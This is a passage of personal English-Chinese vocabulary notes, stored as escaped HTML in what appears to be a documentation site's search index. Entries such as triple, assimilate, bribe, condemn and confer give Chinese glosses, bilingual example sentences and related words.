<p>'transact'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8fdb\u884c\u6216\u5f00\u5c55\u4e1a\u52a1\u6216\u8c08\u5224\u3002</p> <p>triple</p> <ul> <li> <p>n.</p> <ul> <li>\u4e09\u500d, \u4e09\u91cd, \u4e09\u4e2a\u4e00\u7ec4</li> </ul> </li> <li> <p>adj.</p> <ul> <li>\u4e09\u500d\u7684, \u4e09\u91cd\u7684</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4f7f\u6210\u4e09\u500d, \u589e\u81f3\u4e09\u500d</li> </ul> </li> </ul> <p>Eg</p> <p>The company aims to triple its revenue in the next five years.</p> <p>\u8fd9\u5bb6\u516c\u53f8\u8ba1\u5212\u5728\u672a\u6765\u4e94\u5e74\u5185\u5c06\u6536\u5165\u589e\u52a0\u5230\u4e09\u500d\u3002</p> <p>She ordered a triple espresso to stay awake.</p> <p>\u5979\u70b9\u4e86\u4e00\u676f\u4e09\u500d\u6d53\u5ea6\u7684\u6d53\u7f29\u5496\u5561\u4ee5\u4fdd\u6301\u6e05\u9192\u3002</p> <p>The term 'triple' can also refer to something that is three times as much or as many.</p> <p>'triple'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4e09\u500d\u7684\u6570\u91cf\u6216\u7a0b\u5ea6\u3002</p> <p>radiate</p> <ul> <li>v.<ul> <li>\u8f90\u5c04, \u53d1\u5c04, \u6563\u53d1</li> <li>\u6d41\u9732, \u663e\u793a</li> </ul> </li> </ul> <p>Eg</p> <p>The sun radiates light and heat.</p> <p>\u592a\u9633\u8f90\u5c04\u5149\u548c\u70ed\u3002</p> <p>She radiates confidence and charm.</p> <p>\u5979\u6d41\u9732\u51fa\u81ea\u4fe1\u548c\u9b45\u529b\u3002</p> <p>The term 'radiate' can also refer to spreading out in all directions from a central point.</p> <p>'radiate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4ece\u4e2d\u5fc3\u70b9\u5411\u5404\u4e2a\u65b9\u5411\u6269\u6563\u3002</p> <p>spark</p> <ul> <li> <p>n.</p> <ul> <li>\u706b\u82b1, \u706b\u661f</li> <li>\u95ea\u5149, \u95ea\u73b0</li> <li>\u5bfc\u706b\u7ebf, \u8bf1\u56e0</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u53d1\u51fa\u706b\u82b1, \u95ea\u70c1</li> <li>\u5f15\u53d1, \u6fc0\u53d1</li> </ul> </li> </ul> <p>Eg</p> <p>The spark from the firework lit up the night sky.</p> <p>\u70df\u82b1\u7684\u706b\u82b1\u7167\u4eae\u4e86\u591c\u7a7a\u3002</p> <p>Her speech sparked a lot of interest in the topic.</p> <p>\u5979\u7684\u6f14\u8bb2\u6fc0\u53d1\u4e86\u4eba\u4eec\u5bf9\u8fd9\u4e2a\u8bdd\u9898\u7684\u6d53\u539a\u5174\u8da3\u3002</p> <p>The term 'spark' can also refer to a small amount of a quality or feeling.</p> <p>'spark'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c11\u91cf\u7684\u67d0\u79cd\u54c1\u8d28\u6216\u611f\u89c9\u3002</p> <p>splash</p> <ul> <li> <p>n.</p> <ul> <li>\u98de\u6e85, \u6e85\u6cfc</li> <li>\u6e85\u6cfc\u58f0</li> <li>\u4eae\u70b9, \u5f15\u4eba\u6ce8\u76ee\u7684\u6548\u679c</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u6e85, \u6cfc</li> <li>\u4f7f(\u6db2\u4f53)\u98de\u6e85</li> </ul> </li> </ul> <p>Eg</p> <p>The splash of water was refreshing on a hot day.</p> <p>\u5728\u708e\u70ed\u7684\u590f\u5929\uff0c\u6c34\u7684\u98de\u6e85\u8ba9\u4eba\u611f\u5230\u6e05\u723d\u3002</p> <p>The artist added a splash of color to the painting.</p> <p>\u827a\u672f\u5bb6\u5728\u753b\u4e2d\u6dfb\u52a0\u4e86\u4e00\u62b9\u4eae\u8272\u3002</p> <p>The term 'splash' can also refer to a prominent or sensational effect.</p> <p>'splash'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5f15\u4eba\u6ce8\u76ee\u7684\u6548\u679c\u3002</p> <p>blush \u8138\u7ea2, \u7f9e\u7ea2</p> <p>flush \u51b2\u6d17</p> <p>assimilate</p> <ul> <li>v.<ul> <li>\u5438\u6536, \u6d88\u5316</li> <li>\u540c\u5316, \u878d\u5165</li> <li>\u7406\u89e3, \u9886\u4f1a</li> </ul> </li> </ul> <p>Eg</p> <p>The immigrants found it difficult to assimilate into the new culture.</p> <p>\u79fb\u6c11\u4eec\u53d1\u73b0\u5f88\u96be\u878d\u5165\u65b0\u7684\u6587\u5316\u3002</p> <p>The students quickly assimilated the new information.</p> <p>\u5b66\u751f\u4eec\u5f88\u5feb\u5438\u6536\u4e86\u65b0\u4fe1\u606f\u3002</p> <p>The term 'assimilate' can also refer to the process of fully understanding and integrating new ideas or experiences.</p> <p>'assimilate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5b8c\u5168\u7406\u89e3\u548c\u6574\u5408\u65b0\u7684\u60f3\u6cd5\u6216\u7ecf\u5386\u3002</p> <p>append</p> <ul> <li>v.<ul> <li>\u9644\u52a0, \u6dfb\u52a0</li> </ul> </li> </ul> <p>Eg</p> <p>The document was appended with a new section.</p> <p>\u6587\u4ef6\u88ab\u6dfb\u52a0\u4e86\u4e00\u4e2a\u65b0\u90e8\u5206\u3002</p> <p>The term 'append' can also refer to adding something to the end of a list or sequence.</p> <p>'append'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u67d0\u7269\u6dfb\u52a0\u5230\u5217\u8868\u6216\u5e8f\u5217\u7684\u672b\u5c3e\u3002</p> <p>suspend \u60ac\u6302, \u6682\u505c, \u4e2d\u6b62</p> <p>alleviate</p> <ul> <li>v.<ul> <li>\u51cf\u8f7b, \u7f13\u548c, \u7f13\u89e3</li> </ul> </li> </ul> <p>Eg</p> <p>The medication helped to alleviate the patient's pain.</p> <p>\u836f\u7269\u5e2e\u52a9\u51cf\u8f7b\u4e86\u75c5\u4eba\u7684\u75bc\u75db\u3002</p> <p>The government implemented measures to alleviate poverty.</p> <p>\u653f\u5e9c\u91c7\u53d6\u4e86\u63aa\u65bd\u6765\u7f13\u89e3\u8d2b\u56f0\u3002</p> <p>The term 'alleviate' can also refer to making a problem or suffering less severe.</p> <p>'alleviate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u95ee\u9898\u6216\u75db\u82e6\u51cf\u8f7b\u3002</p> <p>assumption</p> <ul> <li>n.<ul> <li>\u5047\u8bbe, \u8bbe\u60f3</li> <li>\u627f\u62c5, \u627f\u62c5\u8d23\u4efb</li> <li>\u5047\u5b9a, \u5047\u88c5</li> </ul> </li> </ul> <p>Eg</p> <p>The assumption that he would be late proved to be correct.</p> <p>\u4ed6\u4f1a\u8fdf\u5230\u7684\u5047\u8bbe\u88ab\u8bc1\u660e\u662f\u6b63\u786e\u7684\u3002</p> <p>The company's assumption of responsibility for the project was commendable.</p> <p>\u8be5\u516c\u53f8\u5bf9\u9879\u76ee\u8d23\u4efb\u7684\u627f\u62c5\u662f\u503c\u5f97\u79f0\u8d5e\u7684\u3002</p> <p>The term 'assumption' can also refer to something that is accepted as true without proof.</p> <p>'assumption'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u6ca1\u6709\u8bc1\u636e\u7684\u60c5\u51b5\u4e0b\u88ab\u63a5\u53d7\u4e3a\u771f\u7684\u4e8b\u7269\u3002</p> <p>assure</p> <ul> <li>v.<ul> <li>\u786e\u4fdd, \u4fdd\u8bc1</li> <li>\u4f7f\u786e\u4fe1, \u4f7f\u653e\u5fc3</li> </ul> </li> </ul> <p>Eg</p> <p>He assured her that everything would be fine.</p> <p>\u4ed6\u5411\u5979\u4fdd\u8bc1\u4e00\u5207\u90fd\u4f1a\u597d\u8d77\u6765\u7684\u3002</p> <p>The company assured its customers of the product's quality.</p> <p>\u516c\u53f8\u5411\u5ba2\u6237\u4fdd\u8bc1\u4ea7\u54c1\u7684\u8d28\u91cf\u3002</p> <p>The term 'assure' can also refer to making someone feel confident about something.</p> <p>'assure'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u4eba\u5bf9\u67d0\u4e8b\u611f\u5230\u6709\u4fe1\u5fc3\u3002</p> <p>\u8ddfensure\u5dee\u4e0d\u591a</p> <p>accelerate</p> <ul> <li>v.<ul> <li>\u52a0\u901f, \u4fc3\u8fdb</li> <li>\u589e\u52a0, \u63d0\u9ad8</li> </ul> </li> </ul> <p>Eg</p> <p>The car can accelerate from 0 to 60 mph in just a few seconds.</p> <p>\u8fd9\u8f86\u8f66\u53ef\u4ee5\u5728\u51e0\u79d2\u949f\u5185\u4ece0\u52a0\u901f\u523060\u82f1\u91cc\u6bcf\u5c0f\u65f6\u3002</p> <p>The company plans to accelerate its expansion into new markets.</p> <p>\u8be5\u516c\u53f8\u8ba1\u5212\u52a0\u901f\u5176\u5411\u65b0\u5e02\u573a\u7684\u6269\u5c55\u3002</p> <p>The term 'accelerate' can also refer to the process of making something happen sooner or faster.</p> <p>'accelerate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u4e8b\u66f4\u5feb\u6216\u66f4\u65e9\u53d1\u751f\u7684\u8fc7\u7a0b\u3002</p> <p>alter</p> <ul> <li>v.<ul> <li>\u6539\u53d8, \u4fee\u6539</li> <li>\u53d8\u66f4, \u53d8\u52a8</li> </ul> </li> </ul> <p>Eg</p> <p>The tailor altered the dress to fit her better.</p> <p>\u88c1\u7f1d\u4fee\u6539\u4e86\u8fd9\u4ef6\u8fde\u8863\u88d9\u4ee5\u66f4\u597d\u5730\u9002\u5408\u5979\u3002</p> <p>The company decided to alter its marketing strategy.</p> <p>\u516c\u53f8\u51b3\u5b9a\u6539\u53d8\u5176\u8425\u9500\u7b56\u7565\u3002</p> <p>The term 'alter' can also refer to making a change to something, usually in a small but significant way.</p> <p>'alter'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u7269\u8fdb\u884c\u6539\u53d8\uff0c\u901a\u5e38\u662f\u5c0f\u4f46\u91cd\u8981\u7684\u6539\u53d8\u3002</p> <p>alternative \u66ff\u4ee3\u54c1, \u9009\u62e9, \u9009\u62e9\u4e4b\u4e00</p> <p>reproach</p> <ul> <li> <p>n.</p> <ul> <li>\u8d23\u5907, \u6307\u8d23</li> <li>\u803b\u8fb1, \u4e22\u8138</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u8d23\u5907, \u6307\u8d23</li> </ul> </li> </ul> <p>Eg</p> <p>She looked at him with reproach in her eyes.</p> <p>\u5979\u7528\u8d23\u5907\u7684\u773c\u795e\u770b\u7740\u4ed6\u3002</p> <p>His actions brought reproach upon the family.</p> <p>\u4ed6\u7684\u884c\u4e3a\u7ed9\u5bb6\u65cf\u5e26\u6765\u4e86\u803b\u8fb1\u3002</p> <p>The term 'reproach' can also refer to expressing disapproval or disappointment.</p> <p>'reproach'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8868\u8fbe\u4e0d\u6ee1\u6216\u5931\u671b\u3002</p> <p>accomplish</p> <ul> <li>v.<ul> <li>\u5b8c\u6210, \u5b9e\u73b0</li> <li>\u8fbe\u5230, \u5b9e\u73b0\u76ee\u6807</li> </ul> </li> </ul> <p>Eg</p> <p>She was able to accomplish all her goals for the year.</p> <p>\u5979\u80fd\u591f\u5b8c\u6210\u5979\u4eca\u5e74\u7684\u6240\u6709\u76ee\u6807\u3002</p> <p>The team worked hard to accomplish the project on time.</p> <p>\u56e2\u961f\u52aa\u529b\u6309\u65f6\u5b8c\u6210\u4e86\u9879\u76ee\u3002</p> <p>The term 'accomplish' can also refer to successfully achieving something through effort or skill.</p> <p>'accomplish'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u901a\u8fc7\u52aa\u529b\u6216\u6280\u80fd\u6210\u529f\u5b9e\u73b0\u67d0\u4e8b\u3002</p> <p>advocate</p> <ul> <li> <p>n.</p> <ul> <li>\u63d0\u5021\u8005, \u62e5\u62a4\u8005</li> <li>\u8fa9\u62a4\u5f8b\u5e08</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u63d0\u5021, \u4e3b\u5f20</li> <li>\u4e3a...\u8fa9\u62a4</li> </ul> </li> </ul> <p>Eg</p> <p>She is a strong advocate for women's rights.</p> <p>\u5979\u662f\u5987\u5973\u6743\u5229\u7684\u575a\u5b9a\u62e5\u62a4\u8005\u3002</p> <p>The lawyer advocated for his client's innocence.</p> <p>\u5f8b\u5e08\u4e3a\u4ed6\u7684\u5ba2\u6237\u7684\u6e05\u767d\u8fa9\u62a4\u3002</p> <p>The term 'advocate' can also refer to publicly recommending or supporting a particular cause or policy.</p> <p>'advocate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u516c\u5f00\u63a8\u8350\u6216\u652f\u6301\u67d0\u4e2a\u7279\u5b9a\u7684\u4e8b\u4e1a\u6216\u653f\u7b56\u3002</p> <p>accuse</p> <ul> <li>v.<ul> <li>\u6307\u63a7, \u63a7\u544a</li> <li>\u8c34\u8d23, \u8d23\u5907</li> </ul> </li> </ul> <p>Eg</p> <p>He was accused of stealing the money.</p> <p>\u4ed6\u88ab\u6307\u63a7\u5077\u4e86\u94b1\u3002</p> <p>The manager accused the employee of being late.</p> <p>\u7ecf\u7406\u6307\u8d23\u5458\u5de5\u8fdf\u5230\u3002</p> <p>The term 'accuse' can also refer to charging someone with an offense or crime.</p> <p>'accuse'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u63a7\u544a\u67d0\u4eba\u72af\u6709\u7f6a\u884c\u3002</p> <p>acquire</p> <ul> <li>v.<ul> <li>\u83b7\u5f97, \u5f97\u5230</li> <li>\u4e60\u5f97, \u5b66\u5230</li> </ul> </li> </ul> <p>Eg</p> <p>She managed to acquire a rare painting.</p> <p>\u5979\u8bbe\u6cd5\u83b7\u5f97\u4e86\u4e00\u5e45\u7a00\u6709\u7684\u753b\u4f5c\u3002</p> <p>He acquired new skills during the training.</p> <p>\u4ed6\u5728\u57f9\u8bad\u671f\u95f4\u5b66\u5230\u4e86\u65b0\u6280\u80fd\u3002</p> <p>The term 'acquire' can also refer to gaining possession or control of something.</p> <p>'acquire'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u83b7\u5f97\u67d0\u7269\u7684\u6240\u6709\u6743\u6216\u63a7\u5236\u6743\u3002</p> <p>require \u9700\u8981, \u8981\u6c42 inquire \u8be2\u95ee, \u8c03\u67e5</p> <p>ascertain</p> <ul> <li>v.<ul> <li>\u786e\u5b9a, \u67e5\u660e</li> <li>\u5f04\u6e05, \u5f04\u660e\u767d</li> </ul> </li> </ul> <p>Eg</p> <p>The detective tried to ascertain the facts of the case.</p> <p>\u4fa6\u63a2\u8bd5\u56fe\u67e5\u660e\u6848\u4ef6\u7684\u4e8b\u5b9e\u3002</p> <p>She quickly ascertained that the information was incorrect.</p> <p>\u5979\u5f88\u5feb\u5f04\u6e05\u695a\u4e86\u4fe1\u606f\u662f\u9519\u8bef\u7684\u3002</p> <p>The term 'ascertain' can also refer to finding out something with certainty through examination or investigation.</p> <p>'ascertain'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u901a\u8fc7\u68c0\u67e5\u6216\u8c03\u67e5\u786e\u5b9a\u67d0\u4e8b\u3002</p> <p>patriotic</p> <ul> <li>adj.<ul> <li>\u7231\u56fd\u7684, \u6709\u7231\u56fd\u5fc3\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The citizens displayed a patriotic spirit during the national holiday.</p> <p>\u5728\u56fd\u5e86\u671f\u95f4\uff0c\u5e02\u6c11\u4eec\u8868\u73b0\u51fa\u4e86\u7231\u56fd\u7cbe\u795e\u3002</p> <p>He felt a patriotic duty to serve his country.</p> <p>\u4ed6\u611f\u5230\u6709\u4e00\u79cd\u7231\u56fd\u7684\u8d23\u4efb\u53bb\u4e3a\u56fd\u5bb6\u670d\u52a1\u3002</p> <p>The term 'patriotic' can also refer to showing love and devotion to one's country.</p> <p>'patriotic'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8868\u73b0\u51fa\u5bf9\u56fd\u5bb6\u7684\u70ed\u7231\u548c\u5fe0\u8bda\u3002</p> <p>entrepreneurship</p> <ul> <li>n.<ul> <li>\u521b\u4e1a, \u4f01\u4e1a\u5bb6\u7cbe\u795e</li> <li>\u521b\u4e1a\u6d3b\u52a8, \u521b\u4e1a\u80fd\u529b</li> </ul> </li> </ul> <p>Eg</p> <p>Entrepreneurship requires creativity and risk-taking.</p> <p>\u521b\u4e1a\u9700\u8981\u521b\u9020\u529b\u548c\u5192\u9669\u7cbe\u795e\u3002</p> <p>She studied entrepreneurship to start her own business.</p> <p>\u5979\u5b66\u4e60\u521b\u4e1a\u4ee5\u5f00\u529e\u81ea\u5df1\u7684\u4f01\u4e1a\u3002</p> <p>The term 'entrepreneurship' can also refer to the process of designing, launching, and running a new business.</p> <p>'entrepreneurship'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8bbe\u8ba1\u3001\u542f\u52a8\u548c\u7ecf\u8425\u65b0\u4e1a\u52a1\u7684\u8fc7\u7a0b\u3002</p> <p>boost</p> <ul> <li>v.<ul> <li>\u63d0\u9ad8, \u589e\u5f3a, \u4fc3\u8fdb</li> <li>\u63a8\u52a8, \u63a8\u8fdb</li> </ul> </li> </ul> <p>Eg</p> <p>The new marketing strategy helped to boost sales.</p> <p>\u65b0\u7684\u8425\u9500\u7b56\u7565\u6709\u52a9\u4e8e\u63d0\u9ad8\u9500\u552e\u989d\u3002</p> <p>Regular exercise can boost your energy levels.</p> <p>\u5b9a\u671f\u953b\u70bc\u53ef\u4ee5\u63d0\u9ad8\u4f60\u7684\u80fd\u91cf\u6c34\u5e73\u3002</p> <p>The term 'boost' can also refer to increasing or improving something, especially in terms of performance or effectiveness.</p> <p>'boost'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u589e\u52a0\u6216\u6539\u5584\u67d0\u7269\uff0c\u7279\u522b\u662f\u5728\u6027\u80fd\u6216\u6548\u679c\u65b9\u9762\u3002</p> <p>boast \u5938\u8000, \u81ea\u5938, \u81ea\u5938\u7684</p> <p>compile</p> <ul> <li>v.<ul> <li>\u7f16\u8bd1, \u6c47\u7f16</li> <li>\u6536\u96c6, \u6c47\u96c6</li> </ul> </li> </ul> <p>Eg</p> <p>The programmer needed to compile the code before running it.</p> <p>\u7a0b\u5e8f\u5458\u9700\u8981\u5728\u8fd0\u884c\u4ee3\u7801\u4e4b\u524d\u7f16\u8bd1\u5b83\u3002</p> <p>She compiled a list of her favorite books.</p> <p>\u5979\u6c47\u96c6\u4e86\u4e00\u4efd\u5979\u6700\u559c\u6b22\u7684\u4e66\u7c4d\u6e05\u5355\u3002</p> <p>The term 'compile' can also refer to the process of converting source code into executable code.</p> <p>'compile'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u6e90\u4ee3\u7801\u8f6c\u6362\u4e3a\u53ef\u6267\u884c\u4ee3\u7801\u7684\u8fc7\u7a0b\u3002</p> <p>compilation \u6c47\u7f16, \u7f16\u7e82, \u6c47\u7f16\u7269</p> <p>compiler \u7f16\u8bd1\u5668, \u6c47\u7f16\u8005</p> <p>bribe</p> <ul> <li> <p>n.</p> <ul> <li>\u8d3f\u8d42, \u884c\u8d3f\u7269</li> <li>\u8bf1\u60d1\u7269</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u8d3f\u8d42, \u884c\u8d3f</li> <li>\u6536\u4e70</li> </ul> </li> </ul> <p>Eg</p> <p>The official was accused of accepting a bribe.</p> <p>\u8fd9\u540d\u5b98\u5458\u88ab\u6307\u63a7\u63a5\u53d7\u8d3f\u8d42\u3002</p> <p>They tried to bribe the guard to let them in.</p> <p>\u4ed6\u4eec\u8bd5\u56fe\u8d3f\u8d42\u8b66\u536b\u8ba9\u4ed6\u4eec\u8fdb\u53bb\u3002</p> <p>The term 'bribe' can also refer to offering something valuable to influence someone's actions.</p> <p>'bribe'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u63d0\u4f9b\u6709\u4ef7\u503c\u7684\u4e1c\u897f\u4ee5\u5f71\u54cd\u67d0\u4eba\u7684\u884c\u4e3a\u3002</p> <p>bribery \u8d3f\u8d42\u884c\u4e3a, \u884c\u8d3f</p> <p>coordinate</p> <ul> <li> <p>n.</p> <ul> <li>\u5750\u6807</li> <li>\u534f\u8c03, \u914d\u5408</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u534f\u8c03, \u8c03\u6574</li> <li>\u4f7f...\u534f\u8c03\u4e00\u81f4</li> </ul> </li> </ul> <p>Eg</p> <p>The coordinates of the location were marked on the map.</p> <p>\u8be5\u4f4d\u7f6e\u7684\u5750\u6807\u6807\u5728\u5730\u56fe\u4e0a\u3002</p> <p>The team worked together to coordinate the event.</p> <p>\u56e2\u961f\u5408\u4f5c\u534f\u8c03\u4e86\u8fd9\u6b21\u6d3b\u52a8\u3002</p> <p>The term 'coordinate' can also refer to organizing different elements to work together effectively.</p> <p>'coordinate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u7ec4\u7ec7\u4e0d\u540c\u7684\u5143\u7d20\u4ee5\u6709\u6548\u5730\u534f\u540c\u5de5\u4f5c\u3002</p> <p>coordination \u534f\u8c03, \u8c03\u6574, \u534f\u540c</p> <p>coordinator \u534f\u8c03\u8005, \u7edf\u7b79\u8005</p> <p>condemn</p> <ul> <li>v.<ul> <li>\u8c34\u8d23, \u6307\u8d23</li> <li>\u5224\u5211, \u5ba3\u5224</li> <li>\u4f7f\u9677\u5165\u56f0\u5883</li> </ul> </li> </ul> <p>Eg</p> <p>The government condemned the attack on the embassy.</p> <p>\u653f\u5e9c\u8c34\u8d23\u4e86\u5bf9\u5927\u4f7f\u9986\u7684\u88ad\u51fb\u3002</p> <p>He was condemned to life imprisonment.</p> <p>\u4ed6\u88ab\u5224\u5904\u7ec8\u8eab\u76d1\u7981\u3002</p> <p>The building was condemned as unsafe.</p> <p>\u8fd9\u5ea7\u5efa\u7b51\u88ab\u5224\u5b9a\u4e3a\u4e0d\u5b89\u5168\u3002</p> <p>The term 'condemn' can also refer to expressing strong disapproval or sentencing someone to a particular punishment.</p> <p>'condemn'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u8868\u793a\u5f3a\u70c8\u4e0d\u6ee1\u6216\u5224\u5904\u67d0\u4eba\u7279\u5b9a\u7684\u60e9\u7f5a\u3002</p> <p>condemnation \u8c34\u8d23, \u6307\u8d23, \u5b9a\u7f6a</p> <p>condemnable \u5e94\u53d7\u8c34\u8d23\u7684, \u5e94\u53d7\u5904\u7f5a\u7684</p>"},{"location":"NOTE/Language/English/#part-3","title":"PART 3","text":"<p>consult</p> <ul> <li>v.<ul> <li>\u54a8\u8be2, \u8bf7\u6559</li> <li>\u5546\u91cf, \u5546\u8bae</li> <li>\u67e5\u9605, \u53c2\u8003</li> </ul> </li> </ul> <p>Eg</p> <p>She decided to consult a lawyer about the legal issues.</p> <p>\u5979\u51b3\u5b9a\u5c31\u6cd5\u5f8b\u95ee\u9898\u54a8\u8be2\u5f8b\u5e08\u3002</p> <p>The manager consulted with the team before making a decision.</p> <p>\u7ecf\u7406\u5728\u505a\u51b3\u5b9a\u524d\u4e0e\u56e2\u961f\u5546\u91cf\u3002</p> <p>He consulted the manual to find the correct procedure.</p> <p>\u4ed6\u67e5\u9605\u4e86\u624b\u518c\u4ee5\u627e\u5230\u6b63\u786e\u7684\u7a0b\u5e8f\u3002</p> <p>The term 'consult' can also refer to seeking information or advice from someone or something.</p> <p>'consult'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5411\u67d0\u4eba\u6216\u67d0\u7269\u5bfb\u6c42\u4fe1\u606f\u6216\u5efa\u8bae\u3002</p> <p>consultation \u54a8\u8be2, \u5546\u8bae, \u4f1a\u8bca</p> <p>consultant \u987e\u95ee, \u54a8\u8be2\u5e08</p> <p>consultative \u54a8\u8be2\u7684, \u987e\u95ee\u7684</p> <p>insult \u4fae\u8fb1, \u8fb1\u9a82</p> <p>confer</p> <ul> <li>v.<ul> <li>\u6388\u4e88, \u8d4b\u4e88</li> <li>\u534f\u5546, \u5546\u8bae</li> </ul> </li> </ul> <p>Eg</p> <p>The university conferred an honorary degree on the distinguished professor.</p> <p>\u5927\u5b66\u6388\u4e88\u8fd9\u4f4d\u6770\u51fa\u7684\u6559\u6388\u8363\u8a89\u5b66\u4f4d\u3002</p> <p>The committee members conferred to discuss the new policy.</p> <p>\u59d4\u5458\u4f1a\u6210\u5458\u4eec\u5546\u8bae\u65b0\u653f\u7b56\u3002</p> <p>The term 'confer' can also refer to granting or bestowing something, such as a title or degree, or to discussing something with others to reach a decision.</p> <p>'confer'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6388\u4e88\u67d0\u7269\uff0c\u5982\u5934\u8854\u6216\u5b66\u4f4d\uff0c\u6216\u4e0e\u4ed6\u4eba\u8ba8\u8bba\u4ee5\u8fbe\u6210\u51b3\u5b9a\u3002</p> <p>conference \u4f1a\u8bae, \u8ba8\u8bba\u4f1a</p> <p>conferral \u6388\u4e88, \u8d4b\u4e88</p> <p>conferment \u6388\u4e88, \u8d4b\u4e88</p> <p>refer \u63d0\u53ca, \u53c2\u8003</p> <p>defer \u63a8\u8fdf, \u5ef6\u671f</p> <p>fertile \u80a5\u6c83\u7684, \u80a5\u6c83\u7684, \u80a5\u6c83\u7684</p> <p>confine</p> <ul> <li>v.<ul> <li>\u9650\u5236, \u5c40\u9650</li> <li>\u76d1\u7981, \u7981\u95ed</li> </ul> </li> </ul> <p>Eg</p> <p>The prisoners were confined to their cells.</p> <p>\u56da\u72af\u4eec\u88ab\u9650\u5236\u5728\u4ed6\u4eec\u7684\u7262\u623f\u91cc\u3002</p> <p>The term 'confine' can also refer to restricting someone or something within certain limits or boundaries.</p> <p>'confine'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u67d0\u4e9b\u9650\u5236\u6216\u8fb9\u754c\u5185\u9650\u5236\u67d0\u4eba\u6216\u67d0\u7269\u3002</p> <p>confinement \u76d1\u7981, \u7981\u95ed, \u9650\u5236</p> <p>confined \u53d7\u9650\u7684, \u72ed\u7a84\u7684</p> <p>define \u5b9a\u4e49, \u89e3\u91ca</p> <p>definite \u660e\u786e\u7684, \u786e\u5b9a\u7684</p> <p>refine \u7cbe\u70bc, \u63d0\u7eaf</p> <p>infinite \u65e0\u9650\u7684, \u65e0\u7a77\u7684</p> <p>conserve</p> <ul> <li>v.<ul> <li>\u4fdd\u5b58, \u4fdd\u62a4</li> <li>\u8282\u7ea6, \u8282\u7701</li> </ul> </li> </ul> <p>Eg</p> <p>We need to conserve our natural resources for future generations.</p> <p>\u6211\u4eec\u9700\u8981\u4e3a\u5b50\u5b59\u540e\u4ee3\u4fdd\u62a4\u6211\u4eec\u7684\u81ea\u7136\u8d44\u6e90\u3002</p> <p>The term 'conserve' can also refer to using something carefully to prevent waste.</p> <p>'conserve'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c0f\u5fc3\u4f7f\u7528\u67d0\u7269\u4ee5\u9632\u6b62\u6d6a\u8d39\u3002</p> <p>conservation \u4fdd\u5b58, \u4fdd\u62a4, \u8282\u7ea6</p> <p>conservative \u4fdd\u5b88\u7684, \u5b88\u65e7\u7684</p> <p>preserve \u4fdd\u5b58, \u4fdd\u62a4</p> <p>reserve \u4fdd\u7559, \u9884\u8ba2</p> <p>observe \u89c2\u5bdf, \u9075\u5b88</p> <p>console</p> <ul> <li>n.<ul> <li>\u63a7\u5236\u53f0, \u64cd\u4f5c\u53f0</li> <li>\u63a7\u5236\u9762\u677f, \u4eea\u8868\u677f</li> </ul> </li> </ul> <p>Eg</p> <p>The programmer used the console to debug the application.</p> <p>\u7a0b\u5e8f\u5458\u4f7f\u7528\u63a7\u5236\u53f0\u8c03\u8bd5\u5e94\u7528\u7a0b\u5e8f\u3002</p> <p>The term 'console' can also refer to a panel or unit accommodating a set of controls for electronic or mechanical equipment.</p> <p>'console'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bb9\u7eb3\u7535\u5b50\u6216\u673a\u68b0\u8bbe\u5907\u63a7\u5236\u88c5\u7f6e\u7684\u9762\u677f\u6216\u5355\u5143\u3002</p> <p>consolation \u5b89\u6170, \u6170\u85c9</p> <p>consolidate \u5de9\u56fa, \u5408\u5e76</p> <p>consult \u54a8\u8be2, \u8bf7\u6559</p> <p>consume \u6d88\u8017, \u6d88\u8d39</p> <p>convey</p> <ul> <li>v.<ul> <li>\u4f20\u8fbe, \u8868\u8fbe</li> <li>\u8fd0\u8f93, \u4f20\u9001</li> </ul> </li> </ul> <p>Eg</p> <p>The teacher used pictures to convey the concept to the students.</p> <p>\u8001\u5e08\u7528\u56fe\u7247\u5411\u5b66\u751f\u4f20\u8fbe\u4e86\u8fd9\u4e2a\u6982\u5ff5\u3002</p> <p>The term 'convey' can also refer to transporting or carrying 